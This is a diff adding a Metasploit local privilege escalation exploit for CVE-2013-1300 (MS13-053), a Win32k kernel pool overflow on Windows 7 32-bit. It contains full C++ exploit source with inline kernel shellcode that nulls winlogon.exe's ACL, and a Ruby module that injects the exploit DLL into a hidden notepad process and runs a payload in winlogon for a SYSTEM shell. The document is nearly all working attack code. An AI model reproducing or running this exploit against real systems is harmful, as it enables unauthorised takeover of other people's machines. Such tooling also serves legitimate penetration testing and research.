diff --git a/data/exploits/cve-2013-1300/schlamperei.dll b/data/exploits/cve-2013-1300/schlamperei.dll new file mode 100644 index 0000000000..68b6fe9b1d Binary files /dev/null and b/data/exploits/cve-2013-1300/schlamperei.dll differ diff --git a/external/source/exploits/cve-2013-1300/dllmain.cpp b/external/source/exploits/cve-2013-1300/dllmain.cpp new file mode 100644 index 0000000000..c103e0cc26 --- /dev/null +++ b/external/source/exploits/cve-2013-1300/dllmain.cpp @@ -0,0 +1,288 @@ +/* dllmain.cpp.cpp + * Exploit for CVE-2013-1300 aka ms13-053 + * Tested on Windows 7 32-bit + * + * used in pwn2own 2013 to break out of chrome's sandbox + * + * found and exploited by nils and jon of @mwrlabs + */ + + +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "ReflectiveLoader.c" +// Purloined from ntstatus.h +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth + + +#ifndef _NTDEF_ +typedef __success(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#define MAX_PAGE 4096 + +#define TABLE_BASE 0xff910000 + +// global variables FTW +HWND gHwnd = 0x0; +unsigned int gEPROCESS = 0x0; +unsigned gPid = 0x0; + +typedef struct _HANDLEENTRY { + VOID *phead; + VOID *pOwner; + UINT8 bType; + UINT8 bFlags; + UINT16 wUniq; +} HANDLEENTRY, *PHANDLEENTRY; + +DWORD gethandleaddress(HANDLE h) { + HMODULE mod = GetModuleHandleA("user32.dll"); + DWORD* sharedinfo = (DWORD*)GetProcAddress(mod, "gSharedInfo"); + PHANDLEENTRY handles = (PHANDLEENTRY)sharedinfo[1]; + DWORD index = (DWORD)h&0x3ff; + HANDLEENTRY entry = handles[index]; + return (DWORD)entry.phead; +} + +DWORD kernelwndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) { + WORD um=0; + __asm { + mov ax, cs + mov um, ax + } + if(um == 0x1b) { + + } else { + // KERNEL MODE CODE EXECUTION + // shellcode to change ACL of winlogon.exe to 0x0 + __asm { + mov eax, hwnd // WND + mov eax, [eax+8] // THREADINFO + mov eax, [eax] // ETHREAD + mov eax, [eax+0x150] // KPROCESS + mov eax, [eax+0xb8] // flink + procloop: + lea edx, [eax-0xb8] // KPROCESS + mov eax, [eax] + add edx, 0x16c // module name + cmp dword ptr [edx], 0x6c6e6977 // "winl" for winlogon.exe + jne procloop + sub edx, 0x170 + mov dword ptr [edx], 0x0 // null acl + mov eax, [edx + 0xb8] // write winlogon pid to global var + mov gPid, eax + } + return 0x201000; + } + return DefWindowProcW(hwnd,msg,wparam,lparam); +} + +HWND createhelperwnd() { + WNDCLASSA wndclass; + HANDLE hinst = GetModuleHandleA(0); + DWORD rc = 0; + + wndclass.style = 0x4000; + wndclass.lpfnWndProc = (WNDPROC)kernelwndproc; + wndclass.cbClsExtra = 0; + wndclass.cbWndExtra = 0; + wndclass.hInstance = (HINSTANCE)hinst; + wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107); + wndclass.hCursor = 0; + wndclass.hbrBackground = (HBRUSH)6; + wndclass.lpszMenuName = 0; + wndclass.lpszClassName = (LPCSTR) 0x1338; + rc=RegisterClassA(&wndclass); + HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1338, "helper", 0, 0, 0, 0, 0, 0, 0, 0, hinst); + + return windowhandle; +} + +typedef NTSTATUS __stdcall NtAllocateVirtualMemory_T(HANDLE processHandle, + PVOID *baseAddress, + ULONG_PTR zeroBits, + PSIZE_T regionSize, + ULONG allocationType, + ULONG protect); + +BOOL AllocFakeEProcess(DWORD address) { + unsigned int addr = 0x200000; + DWORD allocsize = 0x4000; + int x=0; + + NtAllocateVirtualMemory_T * pfnNtAllocateVirtualMemory = 0; + pfnNtAllocateVirtualMemory = (NtAllocateVirtualMemory_T *)GetProcAddress( + GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory"); + + + unsigned o = (0x20 / 4); // the offset into the page + NTSTATUS res = 0x0; + + for(x=0; x<0x60; x++) { + res = pfnNtAllocateVirtualMemory((HANDLE)0xffffffff, (PVOID*)&addr, 0, &allocsize, 0x3000, 0x40); + if(res == 0x0) { + + break; + } + + addr += 0x10000; + } + if(res!=0) return false; + memset((void*)addr, 0xab, 0x4000); + UINT *eprocess = (UINT*)addr+o; + UINT *before = (UINT*)addr; + // large enough values to hold reference + before[2] = 0x00080000; + before[3] = 0x400000; + UINT *second = (UINT*)addr + (0x1000/4); + for(x=0; x<100; x++) eprocess[x] = (0xdead<<16) + (0xaa00 | x); + + eprocess[0] = 0x03030303; // least significant byte == 0x3 + + // Pointer to EPROCESS_QUOTA_BLOCK + // Will point into the window object and on decrement flip the flag to enable the kernel mode window procedure + eprocess[0xd4/4] = address; + + gEPROCESS = (unsigned int)eprocess; + //for(x=0; x<100; x++) second[x] = (0xbeef<<16) + (0xbb00 | x); + //second[0x20] = 0x2; + //second[0x30] = 0x1; + return true; +} + +DWORD wndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) { + if(msg == 0xd) { + // triggering the exploit through WM_GETTEXT + // printf("[-] WM_GETTEXT message\n"); + unsigned char payload[] = "ABCDE "; + payload[7] = (gEPROCESS>>16) & 0xff; + memcpy((void *) lparam, (void *)payload, 8); + return 8; + } + return DefWindowProcA(hwnd, msg, wparam, lparam); +} + +DWORD windowthreadproc(LPVOID arg) { + WNDCLASSA wndclass; + HANDLE hinst = GetModuleHandleA(0); + DWORD rc = 0; + MSG msg; + + wndclass.style = 0x4000; + wndclass.lpfnWndProc = (WNDPROC)wndproc; + wndclass.cbClsExtra = 0; + wndclass.cbWndExtra = 0; + wndclass.hInstance = (HINSTANCE)hinst; + wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107); + wndclass.hCursor = 0; + wndclass.hbrBackground = (HBRUSH)6; + wndclass.lpszMenuName = 0; + wndclass.lpszClassName = (LPCSTR) 0x1337; + rc=RegisterClassA(&wndclass); + + HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1337, "Jon Rocks!", 0, 0, 0, 0, 0, 0, 0, 0, hinst); + + gHwnd = windowhandle; + + while(1) { + GetMessageA(&msg, 0x0, 0x0, 0x0); + TranslateMessage(&msg); + DispatchMessageA(&msg); + } + + return 0; +} + +DWORD NtUserMessageCall(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam, DWORD result, DWORD fnid, DWORD ansi) { + __asm { + push ansi + push fnid + push result + push lparam + push wparam + push msg + push hwnd + push 0xdeadbeef + mov eax, 11eah + mov edx, 7ffe0300h + call [edx] + add esp, 20h + } +} + +typedef struct _CLIENT_ID +{ + PVOID UniqueProcess; + PVOID UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef long (*_RtlCreateUserThread)(HANDLE, + PSECURITY_DESCRIPTOR, + BOOLEAN,ULONG, + PULONG,PULONG, + PVOID,PVOID, + PHANDLE,PCLIENT_ID); + +_RtlCreateUserThread RtlCreateUserThread; + +int Schlamperei(LPVOID shellcode) +{ + // Create window which will execute the wndproc in kernel mode + HWND wnd = createhelperwnd(); + + // Retrieve memory address of window using gSharedInfo + DWORD addressofwnd = gethandleaddress(wnd); + + HMODULE ntdll=LoadLibraryA("ntdll.dll"); + RtlCreateUserThread=(_RtlCreateUserThread)GetProcAddress(ntdll,"RtlCreateUserThread"); + + // Allocate fake EPROCESS in user mode + // see "Kernel Pool Exploitation on Windows 7" by Tarjei Mandt + if(!AllocFakeEProcess(addressofwnd-0x80+0x15)) { + return 0; + } + + // Create window in new thread to trigger inter thread message sending + HANDLE thread = CreateThread(0,0,(LPTHREAD_START_ROUTINE)windowthreadproc,0,0,0); + + Sleep(0x1000); + + // 0x9 is size of allocation, results in buffer (8 + 4) = 12 + // 8 byte block allocations = 16 bytes + // so we will copy in 8*2 bytes = 16 bytes to corrupt the pool pointer + unsigned char *buf = (unsigned char *)malloc(16); + for(int i=0; i<0x40; i++) { + NtUserMessageCall(gHwnd, 0xd, 0x8, (LPARAM)buf, 0x0, 0x2b3, 0x10); + } + + SendMessage(wnd, 0x401, addressofwnd, 0x0); + + ExitProcess(0); +} + +extern HINSTANCE hAppInstance; + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { + BOOL bReturnValue = TRUE; + switch (dwReason) { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + Schlamperei(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +}; + + diff --git a/modules/exploits/windows/local/ms13_058_schlamperei.rb b/modules/exploits/windows/local/ms13_058_schlamperei.rb new file mode 100644 index 0000000000..069cb6e5fd --- /dev/null +++ b/modules/exploits/windows/local/ms13_058_schlamperei.rb @@ -0,0 +1,129 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/reflective_dll_injection' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'ms13_053_schlamperei', + 'Description' => %q{ + A kernel pool overflow in Win32k which allows local privilege escalation. Used in pwn2own 2013 to break out of chrome's sandbox. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Nils&Jon (MWR) - original exploit', # vulnerability discovery and initial exploit + 'Donato&BenCampbell (MWR) - ported to metasploit' # porting vuln to metasploit + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + [ 'Windows 7 SP0/SP1', { } ] + ], + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => + [ + [ 'CVE', '2013-1300' ], + [ 'MSB', 'MS13-053' ], + [ 'URL', 'https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/' ] + ], + 'DisclosureDate' => 'Dec 01 2013', + 'DefaultTarget' => 0 + })) + end + + def check + os = sysinfo["OS"] + if (os =~ /windows/i) == nil + return Exploit::CheckCode::Unknown + end + + file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + major, minor, build, revision, branch = file_version(file_path) + vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + + case build + when 7600 + return Exploit::CheckCode::Vulnerable + when 7601 + return Exploit::CheckCode::Vulnerable if revision <= 1800 + end + return Exploit::CheckCode::Unknown + end + + + def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + if sysinfo["Architecture"] =~ /wow64/i + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") + elsif sysinfo["Architecture"] =~ /x64/ + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + end + + if check != Exploit::CheckCode::Vulnerable + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") + end + + print_status("Launching notepad to host the exploit...") + notepad_process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true}) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + print_status("Operation failed. Trying to elevate the current process...") + process = client.sys.process.open + end + + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.dll") + library_path = ::File.expand_path(library_path) + + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + + thread = process.thread.create(exploit_mem + offset) + client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000) + + processes = client.sys.process.get_processes + processes.each do |p| + if p['name'] == "winlogon.exe" + winlogon_pid = p['pid'] + print_status("Found winlogon.exe with PID #{winlogon_pid}") + if execute_shellcode(payload.encoded, nil, winlogon_pid) + print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell") + else + print_error("Failed to start payload thread") + end + break + end + end + end + +end +